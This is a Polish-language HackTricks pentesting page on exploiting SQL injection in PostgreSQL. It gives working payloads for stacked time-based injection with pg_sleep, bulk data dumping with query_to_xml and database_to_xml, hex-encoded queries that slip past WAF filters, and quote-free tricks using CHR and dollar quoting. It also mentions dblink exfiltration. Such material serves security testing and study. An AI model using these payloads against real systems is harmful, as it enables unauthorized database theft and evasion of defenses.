hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

7.4 KiB

Wstrzyknięcie PostgreSQL

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwego do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego).

{% embed url="https://www.stmcyber.com/careers" %}


Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc Ci wykorzystać wstrzyknięcie SQL znalezione w bazie danych PostgreSQL oraz uzupełnić sztuczki, które znajdziesz na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja sieciowa - Eskalacja uprawnień, Skaner portów, Ujawnienie odpowiedzi na wyzwanie NTLM i eksfiltracja

Moduł PostgreSQL dblink oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi na wyzwanie NTLM. Aby uzyskać szczegółowe metody wykonania tych ataków, sprawdź jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie eksfiltrować zawartość dużych obiektów wewnątrz nazwy użytkownika funkcji dblink_connect.

Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Ominięcie WAF

Funkcje łańcuchowe PostgreSQL

Manipulowanie łańcuchami może pomóc Ci ominąć WAFy lub inne ograniczenia.
W tej stronie znajdziesz kilka przydatnych funkcji łańcuchowych.

Zapytania zagnieżdżone

Pamiętaj, że PostgreSQL obsługuje zagnieżdżone zapytania, ale kilka aplikacji wyświetli błąd, jeśli oczekuje się jednej odpowiedzi, a zwrócone zostaną 2. Mimo to nadal można nadużywać zagnieżdżonych zapytań za pomocą wstrzyknięcia czasu:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Triki związane z XML

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w jednym wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, ponieważ możesz ją zaatakować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Ciągi w formacie szesnastkowym

Jeśli możesz uruchamiać zapytania przekazując je wewnątrz ciągu znaków (na przykład używając funkcji query_to_xml). Możesz użyć funkcji convert_from, aby przekazać ciąg znaków jako szesnastkowy i ominąć w ten sposób filtry:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Zabronione cudzysłowy

Jeśli nie możesz używać cudzysłowów w swoim ładunku, możesz je ominąć używając CHR do podstawowych klauzul (łączenie znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa to dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Albo z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Jeśli interesuje Cię kariera hakera i hakiowanie rzeczy niemożliwych do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego).

{% embed url="https://www.stmcyber.com/careers" %}

Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: